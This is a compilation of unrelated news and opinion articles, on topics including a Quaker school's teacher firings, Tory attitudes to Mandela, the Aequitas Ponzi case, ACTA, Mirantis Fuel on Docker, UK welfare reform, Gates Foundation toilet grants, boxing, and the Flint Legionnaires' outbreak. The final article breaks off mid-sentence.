Life Rome Italy says: For more on Italian tradition customs tips visit my page on Italian culture customs and traditions. Return to the top -Earlier this year I posted about a controversy at Friends Central School in Philadelphia, where a Palestinian Quaker, Sa’ed Atshan, was invited to visit and speak, then abruptly disinvited & the two teachers who invited him, Ariel Eure and Layla Helwa, were suspended. The previous posts are (here, here , here & here). The news site philly.com reported on May 10 that the two teachers have now been terminated effective June 30. Along with that decision came an invitation from the school to Sa’ed Atshan to speak at Friends Central sometime in the future, on “his personal experiences and path to peace education.” The report added that [The suspended teachers] were offered severance pay of $5,500, but that is contingent on their dropping a federal Equal Employment Opportunity Commission lawsuit, said Mark Schwartz, their lawyer. “This is a ridiculous offer,” he said. “I’d be surprised if they took it. Unlike the school, these two have some principles.” School representatives on Tuesday declined to give a reason for the terminations. The school set up a task force to consider how to handle issues around invitations to speakers. This task force has recommended that a nearby university Dialogue Institute be “invited to work with students and teachers to promote ‘intrareligious, interreligious, and intercultural dialogue.’” A couple thoughts: The great Yogi Berra once said, “Predictions are hard, especially about the future.” But I’ll go out on a limb here, and predict that while I have not met Sa’ed Atshan and am unfamiliar with his scholarly or activist work, that he’ll be slow to accept such an invitation, especially in the wake of the teacher firings. Another thought: I wonder what Friends Central students are thinking about this whole matter? And a third: I posted an open letter to FCS students, much of which still seems pertinent as a comment. So I’ve updated it a bit, and reposted it here. (They tell me repetition is good for learning.) A Message to students at Friends Central School: From Chuck Fager In late January, I visited Friends Central School (FCS) and shared a story with you, about getting arrested in Selma, Alabama in 1965 and spending the night in jail with Dr. King. I told you that for almost 50 years, that true story had a happy ending: from the black struggle in Selma came the Voting Rights Act, which had advanced freedom, elected presidents, and made America better. But then starting a few years back, that happy ending was snatched away. In its place came massive vote suppression, and following that, continuing attacks on the other freedoms that democracy protects. So my story about a fight for freedom was not over after all. At my age, I said, passing on these stories is my main contribution. It’s a passing of the torch. As for the real activism, as for the new leadership demanded by our times, — and these were my final words: “It’s your turn.” Now it looks as if your turn has come already. I don’t know Sa’ed Atshan; but people I respect (like former FCS teacher Max Carter) say he’s well-informed & reasonable. Yet I gather some of his views are controversial. I’m no expert on his views, or those issues. So maybe Atshad’s views are right, or maybe they’re mistaken; that’s not for me to say. Instead, that’s for you to say, by hearing his views, and those of others, studying & debating them & making up your own minds. That’s what we call education. In FCS fundraising materials, like for the “Vision2020,” it’s called “Educating for Excellence.” We also call it freedom. But somebody doesn’t seem to want you to exercise that freedom, or get that education. So now the line is drawn: not only in Alabama, but right there in Wynnewood, on your campus. Not just for students, but for the two teachers who were suspended, and have now lost their jobs because of it. So the question now becomes: are you ready to claim and defend your freedom, as part of your education? Or will you let an unnamed few chop off this piece of it– this important piece? The message being sent is clear: you may not hear these views here. That topic is verboten on this campus. Teachers who stood up for that have now paid the price: not just wth their jobs, but possibly wth their careers. Just so you know, all this makes a mockery of the claims about educational “excellence.” And if you accept this, there are more pieces of freedom waiting to be chopped off, like limbs from a tree, and others ready to give similar orders. But here’s something I learned in Selma, and not only from Dr. King: You don’t have to comply. An order not to hear, not to consider, not to think and debate or push back about matters of this importance –such an order may be technically legal, but it defies the higher law that we were all given minds to be used, freely and fully, for knowledge, and for seeking justice. One of my Quaker heroes, Philadelphia’s own Lucretia Mott, put it as well as anyone: “Truth for Authority, not Authority for Truth.” For her this was a Quaker Testimony, a central one. Dr. King put it another way: But you don’t have to be silenced. In 2017, it’s easy to imagine alternatives: check your social media, you’ll see that similar attacks, — and resistance to them — is rising all around you. Spring has now come and almost gone. I read that Sa’ed Atshan has been invited to speak at FCS, sometime in the future, on a carefully limited topic. I wonder if that will really happen, under the present circumstances. i also wonder if FCS students are satisfied with this outcome. And if not, how you will respond? But, some may say, what if we protest, and get in trouble? Look what happened to the teachers: will it cut our chances of getting into an elite college? Affect our career chances? Who knows? Freedom, as they say in the army, isn’t free. The same often goes for achieving “excellence” in education: it’s not just book work; it can mean struggle. It takes organization, and it takes courage. In Selma it led Dr. King and me to jail; a few years later it led him to a bullet in Memphis. But chill: chances are no one will be in mortal danger insisting on real educational excellence and freedom at FCS. If you haven’t noticed, it’s a pretty cushioned, advantaged place. So I ask that you think about how to put these advantages to work, for your benefit now, and as training in “education for excellence” in the not-so advantaged world that awaits beyond the campus. That’s a world in which just in the past few months since I visited FCS, the struggles for freedom have heated up on every side. Looks like they won’t leave you alone even now. Which means, my parting words to you last month weren’t a prophecy, and not even a prediction, but simply an announcement, even more accurate now. Brothers & sisters: “It’s your turn.” Please share this post. -All parties have been united in paying tribute to the late South African leader, but in the past things were more complicated Nelson's Mandela death has brought together politicians from across the political spectrum in shared tribute, obscuring a far less harmonious history in which attitudes towards the South African leader during the apartheid years divided along bitter ideological lines. The shift is most apparent in the Conservative party. The union flag hung at half mast over Downing Street morning and David Cameron issued a lavish tribute, describing Mandela as "a towering figure in our time; a legend in life and now in death – a true global hero". The praise was in stark contrast to the view taken by Cameron's predecessor and another of his heroes, Margaret Thatcher, who described the African National Congress as "a typical terrorist organisation" and fiercely opposed sanctions against the apartheid regime. Her South Africa policy was in part personal: her husband, Denis, had extensive business interests in the country. But her outrage at sanctions also sprang from her anti-communist convictions, which put the promotion of the free market above most, if not all, other political concerns. As the apartheid apparatus began to crumble, Thatcher's instinctive support went to the Zulu leader Mangosuthu Buthelezi, who led the Inkatha Freedom party, the ANC's only serious rival, rather than to Mandela. At the 1987 Commonwealth summit, her spokesman, Bernard Ingham, derisively rejected the suggestion that the ANC could achieve power. "It is cloud cuckoo land for anyone to believe that could be done," Ingham said, seven years before the watershed election that made Mandela president. While Thatcher herself always claimed to oppose apartheid on principle and was eventually persuaded to take the ANC seriously as an opposition movement, some of her keenest supporters were far less restrained. An arch-Thatcherite MP, Teddy Taylor, declared that Mandela "should be shot". One of her biggest fans in the press, the News of the World's "Voice of Reason", Woodrow Wyatt, accused Mandela and the ANC of trying to establish "a communist-style black dictatorship". Sir Larry Lamb, a personal friend of Thatcher and then Daily Express editor, declared in 1985 that Mandela's unconditional release would be "a crass error". During Thatcher's time in office, members of the Federation of Conservative Students (FCS) went as far as wearing stickers declaring: "Hang Nelson Mandela" until the group was banned in 1986 by an embarrassed Tory leadership. The head of the FCS at the time, John Bercow, is now the Speaker of the Commons, but he has insisted he did not take part in the Mandela-baiting. Nor is there any evidence that the young David Cameron was involved. However, he did visit apartheid South Africa in 1989, when he was 23, on an all-expenses-paid "fact-finding mission" funded by Strategy Network International, a lobbying group seeking to lift sanctions. The demonisation of the then political prisoner had its roots in racial attitudes but also in the black-and-white cold-war world of ideological struggle, in which Mandela's ties with the South African Communist party mattered far more than their common opposition to a deeply unjust system. Cameron broke with previous Conservative policy on South Africa while he was opposition leader. Returning in 2006 from South Africa, where he met Mandela for the first time, he wrote in the Observer: "The mistakes my party made in the past with respect to relations with the ANC and sanctions on South Africa make it all the more important to listen now." The attempt to bury Tory ghosts drew accusations of betrayal from Thatcher aides such as Ingham, who remarked: "I wonder whether David Cameron is a Conservative." The party chairman during the Thatcher era, Lord Tebbit, was also unrepentant. Challenged over the Tories' demonisation of Mandela as a terrorist in the 1980s, Tebbit told BBC Radio 4's The World at One: "He was the leader of a political movement which had begun to resort to terrorism. You have to act within the constraints of the time and I get very irritated by people who judge the past by the present." However, such sentiments have been rare across the political landscape in the reaction to Mandela's death. Perhaps uniquely among the world's political leaders, he has long been an icon of freedom, justice and tolerance with whom all politicians strive to identify. -The U.S. Securities and Exchange Commission moved decisively into the Aequitas Capital Management scandal Thursday, suing the Lake Oswego company and three top executives for allegedly running a $350 million Ponzi scheme. The SEC claims Aequitas defrauded more than 1,500 investors into believing they were making health care, education and transportation-related investments, when their money was really being used in a last-ditch effort to save the firm. The commission has asked the court to appoint a receiver to take control of Aequitas. It also removed Aequitas chief executive Bob Jesenik and his longtime partner, Brian Oliver, from positions at the company and sought to ban them from the securities industry. Jesenik, Oliver and Scott Gillis, former Aequitas chief financial officer, were named defendants in the complaint. Filed late Thursday in U.S. District Court in Portland, the suit alleges that since 2014, Aequitas has used much of the new money it raised from investors to fund operating expenses and, increasingly, to pay off existing investors. "By at least July 2014, Jesenik and Oliver knew that redemptions and interest payments to prior investors were being paid primarily from new investor money in a Ponzi-like fashion, and that very little investor money was being used to purchase trade receivables," the SEC alleges. Jesenik said the SEC rushed to judgment. In a written statement issued by his lawyer, Jesenik said Aequitas brought on a consulting company called FTI last month. Thursday, in an effort to protect investors' interests, he said the SEC agreed to ask a federal judge to retain FTI as a receiver in the case. "However, I'm disappointed that the SEC has also chosen to rush to judgment about the company's management and make sweeping allegations without the benefit of a thorough investigation," Jesenik said. "I look forward to addressing these claims in court." Oliver too disputed the SEC's claims. ""Brian has not done anything wrong and we are deeply disappointed that the SEC would make such serious allegations without even speaking to him," said Oliver's lawyer Jahan Raissi. After reading the complaint, veteran Portland securities lawyer Bob Banks said it's a wonder Aequitas executives and its allies "that peddled these junk notes into 2016 can sleep at night." "I've listened to panicked Aequitas investors for the last two weeks, some of them in tears," said Banks, who is representing some of those investors. "Some have lost their children's college funds, some don't know how they will pay for medical treatments that they need. There are people in their 80s and 90s who turned over a lifetime of savings to Aequitas." As first reported by The Oregonian and OregonLive, Aequitas was hurt badly when its deal to buy hundreds of millions of dollars worth of student loans from controversial for-profit college Corinthian Colleges fell apart in January 2014. Though the loans were deemed predatory and illegal by a federal judge, it was Aequitas largest source of revenue. The company continued to try and collect the debt from former Corinthian students long after Corinthian went bankrupt. The SEC claimed in its lawsuit that Corinthian accounted for 75 percent of Aequitas debt-buying business. Aequitas insisted to the bitter end that losing Corinthian had an "immaterial" impact on the company. As Aequitas' position grew weaker, it became more desperate to raise investor cash. By late 2014, it offered to pay investors 15 percent interest if they would commit their money for a full year, an extraordinary rate of return in today's low-interest environment. The Aequitas scandal could spread well beyond Oregon. The company convinced independent investment advisers from Puget Sound to Long Island to peddle its private note investments. Aequitas paid many of them 2 percent commissions for every dollar they steered into its private notes. Investors across the country, some of whom are convinced they were misled, have lawyered up and are considering whether to sue Aequitas, their individual investment advisers or both. The company laid off most of its employees in February. In all investors have about $600 million in Aequitas private notes and in various Aequitas investment funds. It remains unclear how much they will recover. -- Jeff Manning 503-294-7606, jmanning@oregonian.com -US And EU Still Clueless About What The SOPA And ACTA Defeats Really Mean from the how-can-they-not-get-it? dept In the wake of the recent defeat of ACTA in the European Parliament, the key questions are not just what the European Commission will now do, but what lessons the EU and US will learn from it, especially in the wake of the equally dramatic derailing of SOPA earlier this year. At the annual meeting of the Transatlantic Intellectual Property Rights (IPR) Working Group in Brussels last week, both the EU and US agencies and rights holders let slip a few hints about what they are really thinking. Here, for example, is how the EU views the post-ACTA situation, as reported by Intellectual Property Watch: Where IP rights once was a field for experts, now it drives the masses to the streets, the European Commission said referring to recent protests against the Anti-Counterfeiting Trade Agreement (ACTA). Without a much stronger commitment from rights holders, the rejection of ACTA would just be the beginning, Commission representatives said according to observers. This is extraordinary: rather than taking on board the concerns expressed by tens of thousands of European citizens about how ACTA was negotiated, and the way it sought to preserve outdated business models by weakening online privacy and freedom, the European Commission instead wants rights holders to fight back against this wave of protests. No sense, then, that maybe the Commission and copyright industries should possibly change their position to reflect the clearly-expressed wishes of European citizens, only a worry that without some kind of concerted action, things might swing slightly in the public's favor for once -- perish the thought. The European Commission wasn't even prepared to consider splitting ACTA into two separate treaties -- one dealing with counterfeits, the other with online copyright issues: Jean-Luc Demarty, the director general of the Trade Directorate of the European Commission, said at the meeting with regard to question of a potential split of counterfeiting and copyright piracy, IPR could not just be for bags and t-shirts. This betrays a woeful -- or perhaps willful -- lack of understanding about why physical counterfeits and digital copies are fundamentally different, and need to be addressed with different means. The US side was not much better: George York, deputy assistant to the US Trade Representative for IP and Innovation, and Susan Wilson, director of the Office of Intellectual Property Rights in the US Department of Commerce, confirmed during the meeting that despite ACTA’s failure in the EU, the ratification process would go on in the US, despite concerns by some experts about potential inconsistencies with US laws. Again, no hint that maybe ACTA was the wrong solution, or that it lacked legitimacy without the support of citizens in signatory nations. Just the insistence that the US would plough ahead, regardless of any inconsistencies with those tiresome laws. As if that weren't enough, the meeting's participants went on to express that they are "highly skeptical" about open access to scientific knowledge -- despite the huge and growing support for it among scientists themselves. The old FUD that open access somehow undermines peer review was rolled out -- even though no one who understands open access even minimally could possibly make that absurd accusation. The US and EU administrations also both said that India's compulsory licensing of Bayer's anti-cancer drug rang "alarm bells"; tellingly, the EU side added that the EU-India Free Trade Agreement currently being negotiatied "still needs work" -- presumably so as to limit India's freedom to issue more such compulsory licenses. The nearest thing to a tacit admission that the defeat of SOPA and ACTA indicated something was seriously wrong with the whole system came from William E. Kennard, the US Ambassador to the EU, who boldly suggested that legislators still have not got the balance in this area "quite right". Such a laughable characterization of the chasm that separates what the law tries to impose and what the public now believes is reasonable shows just how little US and EU officials and rights holders have really grasped what this year's extraordinary events mean for copyright -- and for them. Follow me @glynmoody on Twitter or identi.ca, and on Google+ Filed Under: acta, eu, politicians, sopa, us -You might think Zach Braff is a destitute hobo, the way he was begging for money on the internet last week. But no! Zach Braff is in fact a very famous and wealthy actor, screenwriter, producer and director, and Zach Braff is also the donor who just pitched in enough money to save the Rio Theater in Monte Rio. That's right: the star of Scrubs and Garden State put the Rio's fundraising efforts over their $60,000 goal just today—meaning that the cutest little Quonset hut theater in Sonoma County will be able to buy a digital projector, thereby appeasing the big-movie-studio ogres and staying open to bring life and love and entertainment to the deep reaches of West County. On Facebook, Braff testified about the Rio Theater that he "Can't wait to see a movie there!" Congratulations to the Rio Theater, which opened in 1950 and has become a favorite of ours here at the Bohemian. The quaint one-screen is a true small-town gem, refreshingly removed from the moviegoing experience at huge megaplexes. With its hand-picked music, personalized slides, and fabric from Christo's fence hanging from the ceiling, it's a beloved staple of the West County community. (For the full story of the Rio Theater, see Stephen Gross' history of the place, here.) May the Rio last another 63 years or more—and you can bet that sometime soon, they'll be showing Braff's upcoming film, Wish I Was Here. -If you run OpenStack, you’re probably also looking for ways to do so as easily as possible. Developed by Mirantis, Fuel is an upstream OpenStack community project that helps you eliminate the time-consuming, complex, error-prone process of manual deployments. Fuel is an intuitive, GUI-driven tool that simplifies deploying, testing, and maintaining configurations of OpenStack at scale. Being an OpenStack tool itself, Fuel is not hard-bundled and prevents vendor lock-in. In a significant enhancement to Fuel’s ongoing evolution, it now runs on Docker to accelerate Fuel application updates, helping you leverage your OpenStack cloud investment with its increased capabilities. Read on for details on how Fuel on Docker can work for you. Why Fuel on Docker? Mirantis chose to run Fuel on Docker beginning with Mirantis OpenStack 5.0 because it accelerates Fuel updates through rapid application assembly. With the modifications we made to Puppet, Ruby, and Python code to put Fuel on Docker, you can now redeploy Fuel in less than 30 seconds without rollbacks or cleanup scripts. You can make changes, test them quickly, and rollback if necessary. You can also update the Fuel master node and rollback if you have problems. Docker enables such straightforward, rapid redeployment because its applications are in portable software “containers,” and run in diverse environments, including laptops running Mac OS X or Windows (using boot2docker), QA servers running Ubuntu in the cloud, and production data center VMs running Red Hat Enterprise Linux. To update a Fuel application in Docker, for example, you just drop the older container and start a new one, saving the 1-2 hours it would have taken to rebuild a Fuel ISO and test your changes. What’s new With the improvements of putting Fuel on Docker in Mirantis OpenStack 5.0 came some growing pains that we addressed in 5.1 and 6.0. In the 5.0 release, some users encountered protracted Fuel deployment times and unstable behavior. In addition, Fuel required too much disk space for logs, with the potential for crashing the operating system. In Mirantis OpenStack 5.1, we reduced the time required to install Fuel on master node into the Docker containers. On a virtualized deployment on an SSD in 5.0, the Fuel master node took about 18 minutes to load images and 9 minutes to start the containers. In 5.1, we reduced image load time to 9 minutes, with 8 minutes to start the containers. When deploying on physical hardware, image load time decreased by 20% in 5.1. Many users recommended using tmpfs on Fuel Master to decrease installation times, but we found that it was unreliable in low memory environments, which slowed the process even further. We were working with 3GB of uncompressed container data, which is just too large to use with tmpfs. Improvements are planned for future releases. We also made enhancements to Fuel stability in 5.1 with the dockerctl utility tracking configuration activity for Fuel on Docker updates, which pass hundreds of parameters to 13 containers to configure port mappings, disk path mappings, and privileged modes. Dockerctl is particularly important because the mappings are massive for applications that require 5-6 parameters from astute.yaml for each container to deploy the application. Instead of etcd or other tools that require systemd, we used astute.yaml parameters, preserved the YAML-based local file, and ran Puppet within containers to deploy the Fuel master applications. We won’t necessarily continue to do this, but it was a simpler and less disruptive method than using other available tools. However, the YAML-based local file and Puppet did have several disadvantages, such as contributing to the high volume of mappings in Docker that raised the disk overhead for each container because Puppet and its dependencies were installed. Even so, we’re still running one of the leanest full-blown OS Docker images in production. Docker’s Ubuntu base image is enormous, while our CentOS base image with Puppet installed compresses down to 39MB. What’s up in Mirantis OpenStack 6.0 Improvements continue in Mirantis 6.0, where we have fixed bugs to correct Fuel configurations that now enable log rotation, freeing up disk space. In addition, when setting system requirements for 6.0, we accounted for logrotate, which stores the last five archives by default. Archive size becomes an important issue when a managed node generates a prolific amount of log data that claims a disproportionate amount of disk space not freed until the archive cycles through the fifth rotation. Based on this consideration, Mirantis multiplied the number of logs by the number of machines and added more space to support a virtual machine that suddenly generates a large amount of logs. Docker itself needs disk space for logs, which can fill all free space, potentially destroying the file system. No automatic fix is available for this problem, so even with Mirantis’ log store improvements, you still need to track capacity because we can’t predict the volume of logs you will generate. While logrotate updates logs every hour, it doesn’t track free disk space, and no setting is available to maximize the size of the Docker log folder. In fact, the logrotate settings restrict the size of a single log file, which is archived when reached. So even with amplified parameters, you should allocate 30GB exclusively for logs in a 20-node deployment. Note: If you enable Debug mode, large files rotate every 10 minutes instead of hourly. More enhancements In other developments for Fuel on Docker in Mirantis OpenStack 6.0, we used CentOS 6.5 as the operating system for Master Node. Because CentOS 6.5 has no systemd to keep services running, Mirantis uses the Python supervisor utility to start and track Docker containers as well as to run web apps, providing great two-for-one functionality. Mirantis also developed a simple try-or-fail schema to address container shut downs in Docker, which has no inherent dependency tracking tools. In our solution, if Docker containers try to start but then shut down because PostgreSQL or RabbitMQ are not yet running, the supervisor utility waits for a few seconds and tries to start the failed container again until all containers start up. This method is much easier to maintain than an elaborate priority or dependency-based container deployment sequence. And though dockerctl does have a proper sequence in place when starting all containers, that sequence only applies during the initial deployment. In addition, Mirantis has also reduced the number of layers per Docker container from ~20 to ~5, reducing the delays imposed by Docker’s devicemapper storage backend. Using CentOS, which relies on Docker’s devicemapper implementation rewritten in the Go language as opposed to AUFS, is also considerably faster. This solution doesn’t scale well, however, so we’re considering other solutions to improve performance, including using other distributions. Fuel on Docker: To infinity…. and beyond! Moving forward with Fuel on Docker, Mirantis continues to enhance functionality. As an OpenStack tool, Fuel on Docker remains the best way to deploy, test, and maintain your OpenStack platform. The easiest way to get it, is as a part of Mirantis OpenStack, so download it today to fully leverage your cloud investment. -Image copyright Reuters Welfare reforms driving the "jobs miracle" must continue, says Work and Pensions Secretary Iain Duncan Smith. In a speech in London, he said that changes so far had played a key role in getting people back into work and ending a welfare dependency culture. But they needed to go further as the UK faced challenges from other countries. Although the idea of limiting child-related benefits to the first few children in a family had been looked at, it was not going ahead "right now". Culture change Mr Duncan Smith said the policies of the last Labour government led to whole sections of society being left on the sidelines and communities marked by widespread unemployment. Everything we have done, every programme we have introduced, has been about supporting everyone who is able to into work Iain Duncan Smith, Work and Pensions Secretary "The number of households where nobody had ever worked doubled - and the welfare bill rose by twice as much as average earnings," he said. "More than half of the rise in employment that we saw was accounted for by foreign nationals. And not just in London - three-quarters of Eastern European migrants in employment live outside London. "Immigration into the UK has been a supply-and-demand issue. Businesses needed the labour and because of the way our benefit system was constructed, too few of the economically inactive took the jobs on offer." Mr Duncan Smith said that when the Conservatives and Liberal Democrats took office in a coalition government in 2010, almost five million people were on out-of-work benefits. "It was clear to me that in large part this situation was the product of a dysfunctional welfare system that often trapped those it was supposed to help in cycles of worklessness and dependency. "My one aim as work and pensions secretary has been to change this culture - and everything we have done, every programme we have introduced, has been about supporting everyone who is able to into work." Reform 'chaos' Mr Duncan Smith said the scale of change instigated by the government had been "enormous" and the policies being delivered were changing the country "for the better". He said that the Bank of England deputy governor had said "the UK jobs miracle - with more people going into work and unemployment falling dramatically - is hugely down to the welfare reforms". But Rachel Reeves, Labour's shadow work and pensions secretary, said: "David Cameron's government has failed to control social security spending and is set to overspend on welfare by a staggering £13bn. "Under Iain Duncan Smith, housing benefit spending is rising, not falling. "The number of working people claiming housing benefit is set to double between 201018 costing every British household £488. "The government's flagship welfare reforms are in chaos. "Millions of taxpayers money has been wasted on the £12.8bn universal credit, which less than 7,000 people are claiming." Cuts proposed Meanwhile, the centre-right Policy Exchange think tank has written a report suggesting a reduction of the current benefit cap of £26,000 a year by 10% for people living outside London and the South East, to reflect different income and housing costs across the UK. It also estimates that £1bn could be saved by paying child benefit for only four children and progressively reducing payments after the first child. Chancellor George Osborne has suggested that annual welfare savings of £12bn need to be found to avoid further cuts to departmental budgets. Asked in a BBC interview about the Policy Exchange ideas, Mr Duncan Smith said he would not reject the ideas, saying they were things that had been looked at in the past but were not being put forward as government policy "today". -(CNN) -- The toilet is broken -- and not because it won't flush. This unsightly piece of technology, which everyone uses but no one seems to think much about, is in desperate need of an overhaul, according to the Bill & Melinda Gates Foundation, which launched a challenge to "reinvent the toilet." The foundation announced $41.5 million worth of grants on Tuesday aimed at getting someone to reengineer the flushing porcelain pot, which has been in use since the 1700s. "No innovation in the past 200 years has done more to save lives and improve health than the sanitation revolution triggered by invention of the toilet," Sylvia Mathews Burwell, president of the foundation's global development program, said in a statement. "But it did not go far enough. It only reached one-third of the world. What we need are new approaches. New ideas. In short, we need to reinvent the toilet." So what exactly is wrong with the current commode? It's too expensive for people in the developing world; it requires water and a sewer-system hook-up, which aren't always available; and it does nothing to actually treat human waste, said Frank Rijsberman, the foundation's director of water sanitation and hygiene. "We like the toilet. It was invented in 1775, saved millions of lives," he said. "At the same time, it didn't reach two-thirds of the world's population." So it's high time for an update, he said. About 2.5 billion people don't have access to toilets as we've currently imagined them, and this lack of toilet access encourages the spread of diarrheal diseases, which are blamed for the deaths of 1.5 million children each year, according to the World Health Organization. "We want to look at waste as a resource and recycle it," Rijsberman said. "We think we can recycle the energy, the minerals and also the water. We want to reinvent the toilet that is cheap, that doesn't cost more than a few pennies, that poor people want to use and that will recycle minerals, energy and water." The Gates Foundation has given out eight grants (here's the list as a PDF) to universities that are trying to dream up a toilet 2.0. Here are a few of the most striking ideas from those grantees: • M. Sohail, from Loughborough University in the UK, is making a toilet that will "recover water and salt from feces and urine." • Georgios Stefanidis, from Delft University of Technology in the Netherlands, is working on a toilet that will generate electricity from waste, which will be "gasified into plasma" using microwaves. That gas can be used to generate electricity, according to the proposal. • Yu-Ling Cheng, from the University of Toronto, is trying to make a toilet that will "sanitize feces within 24 hours" so human waste doesn't transmit disease through a community. Chen plans to use a process of dehydration, filtration and smoldering to render the waste harmless. • Michael Hoffmann, from the California Institute of Technology, plans to develop a solar-powered toilet. Solar cells generate enough power to process waste and turn it into fuel for electricity. The Gates Foundation warns that none of these efforts constitutes a "silver bullet" that would solve the world's sanitation problems and says new toilet designs must be pursued in tandem with better wastewater treatment and sanitation systems. Some efforts to remake the toilet have gone down the tubes. "There have been a lot of toilet projects out there and a lot of failures," Marla Smith-Nilson, executive director of Water 1st International, told The Seattle Times. But the Gates Foundation remains hopeful that "radical innovation" can help. The universities that received funding are expected to have working prototypes within a year, and the foundation expects some of the projects to be ready for rollout in three or four years, Rijsberman said. Although these redesigned toilets are targeted at third-world countries, some of these ideas would be helpful in United States and Europe, too, Rijsberman said, especially in addressing water shortages. "How much sense does it make to clean up water to drinking water standards and then flush it down with sewage in an expensive pipe system?" he said. "We think modern science and technology can produce something that is more like the cell phone of sanitation." -The WBA is featuring three cruiserweight title fights this weekend. In its desire to have one champion in each division, the WBA cruiserweight tournament has officially begun. Friday night in Paris, France, Yunier Dorticos (21-0, 20 KOs) TKO’d Kayembre Kalenga (23-2, 15 KOs) to win the WBA World interim cruiserweight title. Tomorrow in Russia, WBA Super World cruiserweight champion Denis Lebedev faces IBF champion Victor Emilio Ramirez in a unification bout. The co-main in Moscow features a third cruiserweight championship bout between Beibut Shumenov and Junior Wright for the WBA World cruiserweight title. The winner of Lebedev-Ramirez must face the Shumenov-Wright winner within 120 days. The winner of that bout gets to tangle with Dorticos for undisputed recognition as WBA cruiserweight champion. Background On February 5 Denis Lebedev asked the World Boxing Association for special permission to participate in a unification bout with his IBF counterpart Victor Ramirez. The WBA gave a green light to the fight, on condition that the winner of Lebedev-Ramirez faces the winner of Dorticos-Kalenga. The winner of that bout will in turn face the winner of Shumenov-Wright. However, in March Team Shumenov appealed to the WBA to have his interim status elevated to that of regular champion. The World Boxing Association granted the request, with the understanding that his mandatory is the winner of Saturday’s fight between Lebedev and Ramirez. The WBA reaffirms its decision to have one champion in each division. This article was penned by the author who is not related to the WBA and the statements, expressions or opinions referenced herein are that of the author alone and not the WBA. -CLOSE The once quiet city of Flint, Michigan is facing a drinking water crisis that is drawing concern from around the nation. Here's what you need to know about how the public health crisis has evolved. VPC More than a year ago, e-mails among officials show deep concern behind the scenes about the quality of the city’s water. Flint residents Gladyes Williamson (C) holds a bottle full of contaminated water, and a clump of her hair, alongside Jessica Owens (R), holding a baby bottle full of contaminated water, during a news conference after attending a House Oversight and Government Reform Committee hearing on the Flint water crisis on Capitol Hill on Feb. 3, in Washington, DC. (Photo: Mark Wilson, Getty Images) More than eight months before Gov. Rick Snyder disclosed a deadly Legionnaires' disease outbreak in the Flint area, federal health officials worried a lack of cooperation in Michigan could be hampering the public health response. Thousands of pages of e-mails obtained by the Detroit Free Press through the Freedom of Information Act on Monday show increasing concern about the quality of the Flint's drinking water as tensions grew over a lack of coordination to combat the waterborne disease. County health officials were warned for reaching out to federal experts for help while they struggled to persuade Flint city officials to provide needed information, the e-mails show. Others in e-mails wondered about ethical breaches and the possibility of a cover-up. In sum, a review of the e-mails provided by Genesee County from several public-information requests appear to illustrate the inability, if not unwillingness, of city and state agencies to share information with the county as it investigated multiple Legionnaires' cases. The clash among bureaucrats went on privately for months despite growing fears inside Flint among residents that something was deeply wrong with the city's drinking water. “We are very concerned about this Legionnaires’ disease outbreak,” Laurel Garrison of the Centers for Disease Control and Prevention, wrote to Genesee County health officials in an April 27, 2015, e-mail. “It’s very large, one of the largest we know of in the past decade, and community-wide, and in our opinion and experience it needs a comprehensive investigation.” Garrison added in her e-mail that ”I know you’ve run into issues getting information you’ve requested from the city water authority and the MI Dept of Environmental Quality. Again, not knowing the full extent of your investigation it’s difficult to make recommendations, and it may be difficult for us to provide the kind of detailed input needed for such an extensive outbreak from afar.” There were at least 87 cases across Genesee County during a 17-month period, including nine deaths, but the public was never told about the increase when it was happening — even after an initial wave of more than 40 cases were under investigation by early 2015. It is unclear whether swifter action by government officials could have prevented a return of the outbreak last summer. But a public health investigation is ongoing. Legionnaires’ disease is a pneumonia caused by bacteria in the lungs. People get sick if they inhale mist or vapor from contaminated water systems, hot tubs or cooling systems or, in some cases, showers. Genesee County Health Department officials could not be reached for comment Monday night. Neither the CDC nor the federal Department of Health and Human Services had an immediate response. Typically, Genesee County saw between six and 13 Legionnaires' cases a year, according to officials. In 2014, the number jumped to 42. In 2015, there were 45 confirmed cases. Officials investigating the outbreak in 2014 worried about disclosing a suspected cause. Liane Shekter Smith, the head of the Office of Drinking Water and Municipal Assistance for the state Department of Environmental Quality contacted state health officials “a couple of times” to discuss the Legionnaires’ outbreak in 2014, according to e-mails. “She was concerned that an announcement was going to be made soon about the water as the source of the infection; I told her the Flint water was at this point just a hypothesis,” Susan Bohm of the Department of Health and Human Services wrote to officials in Genesee County in an e-mail dated Oct. 21, 2014. Last week, Snyder announced Sheketer Smith's termination, saying “putting the well-being of Michiganders first needs to be the top priority for all state employees.” The e-mails released Monday also showed how local officials struggled to contain the outbreak. On Feb. 10, 2015, Genesee County Health Department epidemiologist Shurooq Hasan wrote to an outside expert about 47 Legionnaires’ disease cases in 2014, which was almost four times the number of cases in 2013. “We have investigated a hospital as a potential source for the disease, but have expanded our investigation to include the city water supply,” Hasan said in the e-mail. “Of our 47 cases, 25 cases have occurred within the city water supply distribution system. No common links have been found between the cases. The majority of our cases are home bound immune-comprised individuals who have not traveled and are not readily mobile,” he wrote. Hasan said those stricken were in such bad condition that they are unable to answer questions that would assist with the investigation. On June 8, 2015, Jim Collins of DHHS e-mailed several officials at the county health department saying he had spoken with officials at the federal Centers for Disease Control and Prevention that morning about the Legionnaires’ issue. He then chastised county officials for talking to the CDC without state approval. “Relative to communications around the investigation, I believe that CDC is in agreement that their involvement really should be at the request of the state, rather than the local health department,” Collins said. “To be clear, we do value the skills and resources of our CDC colleagues, but we also recognize that their involvement needs to have some structure,” and “I want to reinforce the necessity that investigation communications from the Genesee County Health Department need to be directed to staff at the MDHHS.” By Dec. 5, Tamara Brickey, the Genesee County Health Department’s public health division director, said in an e-mail to other county health officials that “the state is making clear they are not practicing ethical public health practice.” “Now evidence is clearly pointing to a deliberate cover-up,” Brickey wrote. “In my opinion, if we don’t act soon, we are going to become guilty by association.” Snyder publicly revealed the Legionnaires' outbreak on Jan. 13 of this year, saying he had learned of it just days earlier. A spokesman for the governor Monday night reiterated that the governor acted quickly after he learned of the outbreak. But last week, other e-mails released by the liberal group Progress Michigan showed an aide in Snyder's office was notified in March 2015 — more than nine months before Snyder said he learned of the problem — that there was an increase in Legionnaires' disease cases in Genesee County. The aide, Harvey Hollins, said in an interview last week he did not brief the governor on the issue at the time because he told state environmental department officials to gather more information and make their own recommendation if warranted. Public notifications about such outbreaks are typically handled by the local health departments, Geralyn Lasher, spokeswoman for the Michigan Department of Health and Human Services, said Monday. Lasher said the state provided help to the Genesee County Health Department on wording for a public press release, but she was unsure if the department ever released it. Flint's switch to using the Flint River as its water supply in April 2014 was followed almost immediately by complaints from residents about discolored, pungent water that had caused a number of ailments. Local and state officials 